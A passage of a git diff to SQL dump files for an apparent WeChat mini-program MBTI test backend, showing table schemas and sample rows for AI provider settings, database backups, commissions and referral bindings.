utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', + `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', + `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', + `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, + INDEX `idx_unionid`(`unionid`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/mbti_data.sql b/api/mbti_data.sql index ba5f872..460a9ad 100644 --- a/api/mbti_data.sql +++ b/api/mbti_data.sql @@ -1,1238 +1,1238 @@ -/* - Navicat Premium Data Transfer - - Source Server : kr_存客宝 - Source Server Type : MySQL - Source Server Version : 50736 - Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 - Source Schema : mbti - - Target Server Type : MySQL - Target Server Version : 50736 - File Encoding : 65001 - - Date: 12/03/2026 17:12:50 -*/ - -SET NAMES utf8mb4; -SET FOREIGN_KEY_CHECKS = 0; - --- ---------------------------- --- Table structure for mbti_activities --- ---------------------------- -DROP TABLE IF EXISTS `mbti_activities`; -CREATE TABLE `mbti_activities` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', - `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', - `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', - `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_type`(`type`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_ai_providers --- ---------------------------- -DROP TABLE IF EXISTS `mbti_ai_providers`; -CREATE TABLE `mbti_ai_providers` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', - `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', - `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', - `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', - `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', - `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', - `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', - `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', - `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', - `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', - `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', - `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', - `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', - `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', - `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', - `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', - `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', - `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, - INDEX `idx_enabled`(`enabled`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_ai_providers --- ---------------------------- -INSERT INTO `mbti_ai_providers` VALUES (1, 'openai', 'OpenAI (GPT)', 0, 1, NULL, 'https://api.openai.com/v1', 'gpt-4.1-mini', '', 4096, 0, 10.00, '', 'https://developers.openai.com/api/docs', 0, 1, 100.00, 'USD', 1772068185, 1770882819, 1772443541, NULL, '[]'); -INSERT INTO `mbti_ai_providers` VALUES (2, 'anthropic', 'Anthropic (Claude)', 0, 0, NULL, 'https://api.anthropic.com/v1', 'claude-sonnet-4-20250514', NULL, 4096, 0, 10.00, NULL, 'https://console.anthropic.com/settings/keys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); -INSERT INTO `mbti_ai_providers` VALUES (3, 'deepseek', 'DeepSeek', 0, 0, NULL, 'https://api.deepseek.com/v1', 'deepseek-chat', NULL, 4096, 0, 10.00, NULL, 'https://platform.deepseek.com/api_keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); -INSERT INTO `mbti_ai_providers` VALUES (4, 'moonshot', 'Moonshot (Kimi)', 0, 0, NULL, 'https://api.moonshot.cn/v1', 'moonshot-v1-8k', NULL, 4096, 0, 10.00, NULL, 'https://platform.moonshot.cn/console/api-keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); -INSERT INTO `mbti_ai_providers` VALUES (5, 'groq', 'Groq', 0, 0, NULL, 'https://api.groq.com/openai/v1', 'llama3-8b-8192', '', 8192, 0, 0.00, '免费额度,无需余额监控', 'https://console.groq.com/keys', 1, 0, NULL, NULL, NULL, 1770882819, 1770882850, NULL, NULL); -INSERT INTO `mbti_ai_providers` VALUES (6, 'coze', 'Coze (扣子)', 0, 0, NULL, 'https://api.coze.cn/v1', 'DeepSeek-V3-0324', '', 4096, 0, 10.00, '', 'https://www.coze.cn/open/api', 0, 0, NULL, NULL, NULL, 1770882819, 1771988128, NULL, '{\"bot_id\": \"7488186374479347731\", \"space_id\": \"7487098730056515619\"}'); -INSERT INTO `mbti_ai_providers` VALUES (7, 'qwen', '通义千问 (Qwen)', 0, 0, NULL, 'https://dashscope.aliyuncs.com/compatible-mode/v1', 'qwen-turbo', NULL, 4096, 0, 10.00, NULL, 'https://dashscope.console.aliyun.com/apiKey', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); -INSERT INTO `mbti_ai_providers` VALUES (8, 'zhipu', '智谱 (GLM)', 0, 0, NULL, 'https://open.bigmodel.cn/api/paas/v4', 'glm-4-flash', NULL, 4096, 0, 10.00, NULL, 'https://open.bigmodel.cn/usercenter/apikeys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); -INSERT INTO `mbti_ai_providers` VALUES (9, 'zhizengzeng', '智增增\r\n', 1, 1, NULL, 'https://api.zhizengzeng.com/v1', 'gpt-4.1', '', 4096, 0, 10.00, '', 'https://doc.zhizengzeng.com', 0, 1, NULL, NULL, NULL, 1770882819, 1773279905, NULL, '[]'); - --- ---------------------------- --- Table structure for mbti_backup_records --- ---------------------------- -DROP TABLE IF EXISTS `mbti_backup_records`; -CREATE TABLE `mbti_backup_records` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', - `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', - `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', - `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', - `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_filename`(`filename`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_backup_records --- ---------------------------- -INSERT INTO `mbti_backup_records` VALUES (1, 'backup_mbti_20260212160946.sql', 'F:\\karuo\\mbti\\api\\runtime/backup/backup_mbti_20260212160946.sql', 82181, 'https://ac-weremote-s2.oss-cn-shenzhen.aliyuncs.com/backup/2026/02/12/backup_mbti_20260212160946.sql', 'backup/2026/02/12/backup_mbti_20260212160946.sql', 'success', NULL, 1770883787, 1770883787); - --- ---------------------------- --- Table structure for mbti_commission_records --- ---------------------------- -DROP TABLE IF EXISTS `mbti_commission_records`; -CREATE TABLE `mbti_commission_records` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `agentId` int(11) NOT NULL COMMENT '分销商ID', - `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', - `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', - `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', - `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', - `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', - `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', - `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', - `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', - `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', - `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', - `testResultId` int(11) NULL DEFAULT NULL, - `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, - INDEX `idx_agentId`(`agentId`) USING BTREE, - INDEX `idx_orderId`(`orderId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_scope`(`scope`) USING BTREE, - INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_inviterId`(`inviterId`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_commission_records --- ---------------------------- -INSERT INTO `mbti_commission_records` VALUES (1, 6, NULL, 0.00, 0.10, 'paid', 1773039077, 1773039077, 1773039077, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 84, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (2, 6, NULL, 0.00, 0.10, 'paid', 1773040163, 1773040163, 1773040163, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 85, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (3, 6, NULL, 0.00, 1.00, 'paid', 1773043973, 1773043973, 1773043973, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 87, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (4, 6, NULL, 0.00, 1.00, 'paid', 1773044496, 1773044496, 1773044496, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 88, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (5, 6, NULL, 0.00, 1.00, 'paid', 1773047081, 1773047081, 1773047081, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 89, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (6, 6, NULL, 0.00, 1.00, 'paid', 1773047135, 1773047135, 1773047135, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 90, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (7, 6, NULL, 0.00, 1.00, 'paid', 1773047512, 1773047512, 1773047512, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 92, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (8, 6, NULL, 0.00, 1.00, 'paid', 1773109282, 1773109282, 1773109282, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 93, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (9, 6, NULL, 0.00, 1.00, 'paid', 1773109762, 1773109762, 1773109762, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 94, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (10, 6, NULL, 0.00, 1.00, 'paid', 1773131848, 1773131848, 1773131848, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 102, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (11, 6, NULL, 0.00, 1.00, 'paid', 1773132145, 1773132145, 1773132145, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 103, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (12, 6, NULL, 0.00, 1.00, 'paid', 1773132630, 1773132630, 1773132630, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 104, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (13, 6, NULL, 0.00, 1.00, 'paid', 1773197745, 1773197745, 1773197745, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 108, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (14, 6, NULL, 0.00, 1.00, 'paid', 1773214232, 1773214232, 1773214232, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 109, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (15, 6, NULL, 0.00, 1.00, 'paid', 1773214528, 1773214528, 1773214528, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 110, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (16, 6, NULL, 0.00, 1.00, 'paid', 1773216370, 1773216370, 1773216370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 112, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (17, 6, NULL, 0.00, 1.00, 'paid', 1773216422, 1773216422, 1773216422, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 113, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (18, 12, NULL, 0.00, 0.01, 'paid', 1773218013, 1773218013, 1773218013, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 114, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (19, 12, NULL, 0.00, 0.01, 'paid', 1773218078, 1773218078, 1773218078, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 115, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (20, 12, NULL, 0.00, 0.01, 'paid', 1773218176, 1773218176, 1773218176, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 116, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (21, 6, NULL, 0.00, 1.00, 'paid', 1773218291, 1773218291, 1773218291, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 117, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (22, 12, NULL, 0.00, 0.01, 'paid', 1773218860, 1773218860, 1773218860, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 118, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (23, 6, NULL, 0.00, 1.00, 'paid', 1773219018, 1773219018, 1773219018, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 119, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (24, 12, NULL, 0.00, 0.01, 'paid', 1773219347, 1773219347, 1773219347, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 120, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (25, 12, NULL, 0.00, 0.01, 'paid', 1773219366, 1773219366, 1773219366, 'personal', NULL, 12, 31, 7, 0, 1, NULL, NULL, 121, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (26, 6, NULL, 0.00, 1.00, 'paid', 1773219370, 1773219370, 1773219370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 122, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (27, 12, NULL, 0.00, 0.01, 'paid', 1773222595, 1773222595, 1773222595, 'personal', NULL, 12, 32, 8, 0, 1, NULL, NULL, 123, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (28, 12, NULL, 0.00, 0.01, 'paid', 1773227480, 1773227480, 1773227480, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 124, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (29, 34, NULL, 0.00, 0.01, 'paid', 1773227875, 1773227875, 1773227875, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 125, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (30, 12, NULL, 0.00, 0.01, 'paid', 1773228411, 1773228411, 1773228411, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 128, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (31, 12, NULL, 0.00, 0.01, 'paid', 1773228469, 1773228469, 1773228469, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 129, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (32, 34, NULL, 0.00, 0.01, 'paid', 1773228478, 1773228478, 1773228478, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 130, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (33, 12, NULL, 0.00, 0.01, 'paid', 1773228716, 1773228716, 1773228716, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 131, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (34, 34, NULL, 0.00, 0.01, 'paid', 1773228717, 1773228717, 1773228717, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 132, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (35, 12, NULL, 0.00, 0.01, 'paid', 1773228789, 1773228789, 1773228789, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 133, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (36, 12, NULL, 0.00, 0.01, 'paid', 1773228837, 1773228837, 1773228837, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 134, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (37, 12, NULL, 0.00, 0.01, 'paid', 1773229546, 1773229546, 1773229546, 'personal', NULL, 12, 36, 11, 0, 1, NULL, NULL, 135, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (38, 6, NULL, 0.00, 1.00, 'paid', 1773279222, 1773279222, 1773279222, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 138, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (39, 6, NULL, 0.00, 1.00, 'paid', 1773279937, 1773279937, 1773279937, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 139, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (40, 6, NULL, 0.00, 1.00, 'paid', 1773279975, 1773279975, 1773279975, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 140, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (41, 6, NULL, 0.00, 1.00, 'paid', 1773280023, 1773280023, 1773280023, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 141, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (42, 6, NULL, 0.00, 1.00, 'paid', 1773280177, 1773280177, 1773280177, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 142, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (43, 6, NULL, 0.00, 1.00, 'paid', 1773280251, 1773280251, 1773280251, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 143, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (44, 6, NULL, 0.00, 1.00, 'paid', 1773285873, 1773285873, 1773285873, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 144, 'test_completion'); -INSERT INTO `mbti_commission_records` VALUES (45, 6, NULL, 0.00, 1.00, 'paid', 1773286899, 1773286899, 1773286899, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 145, 'test_completion'); - --- ---------------------------- --- Table structure for mbti_distribution_agents --- ---------------------------- -DROP TABLE IF EXISTS `mbti_distribution_agents`; -CREATE TABLE `mbti_distribution_agents` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', - `userId` int(11) NOT NULL COMMENT '用户ID', - `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', - `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', - `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', - `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', - `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', - `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_distribution_bindings --- ---------------------------- -DROP TABLE IF EXISTS `mbti_distribution_bindings`; -CREATE TABLE `mbti_distribution_bindings` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', - `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', - `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', - `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', - `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', - `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', - `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, - INDEX `idx_inviterId`(`inviterId`) USING BTREE, - INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, - INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, - INDEX `idx_expireAt`(`expireAt`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_distribution_bindings --- ---------------------------- -INSERT INTO `mbti_distribution_bindings` VALUES (1, 6, 1, 'personal', 6, 1775273468, 'active', NULL, NULL, 1772681468, 1772681468); -INSERT INTO `mbti_distribution_bindings` VALUES (2, 6, 1, 'personal', NULL, 1775629026, 'active', NULL, NULL, 1773025578, 1773037026); -INSERT INTO `mbti_distribution_bindings` VALUES (3, 24, 12, 'personal', NULL, 1775653348, 'active', NULL, NULL, 1773061348, 1773061348); -INSERT INTO `mbti_distribution_bindings` VALUES (4, 12, 27, 'personal', NULL, 1775809886, 'active', NULL, NULL, 1773217886, 1773217886); -INSERT INTO `mbti_distribution_bindings` VALUES (5, 12, 28, 'personal', NULL, 1775809917, 'active', NULL, NULL, 1773217917, 1773217917); -INSERT INTO `mbti_distribution_bindings` VALUES (6, 12, 29, 'personal', NULL, 1775811258, 'active', NULL, NULL, 1773218797, 1773219258); -INSERT INTO `mbti_distribution_bindings` VALUES (7, 12, 31, 'personal', NULL, 1775811310, 'active', NULL, NULL, 1773219310, 1773219310); -INSERT INTO `mbti_distribution_bindings` VALUES (8, 12, 32, 'personal', NULL, 1775814524, 'active', NULL, NULL, 1773222524, 1773222524); -INSERT INTO `mbti_distribution_bindings` VALUES (9, 12, 33, 'personal', NULL, 1775820674, 'active', NULL, NULL, 1773227436, 1773228674); -INSERT INTO `mbti_distribution_bindings` VALUES (10, 34, 35, 'personal', NULL, 1775819750, 'active', NULL, NULL, 1773227750, 1773227750); -INSERT INTO `mbti_distribution_bindings` VALUES (11, 12, 36, 'personal', NULL, 1775821479, 'active', NULL, NULL, 1773229479, 1773229479); - --- ---------------------------- --- Table structure for mbti_distribution_withdrawals --- ---------------------------- -DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; -CREATE TABLE `mbti_distribution_withdrawals` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', - `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', - `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', - `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', - `status` tinyint(1) NOT NULL DEFAULT 0 COMMENT 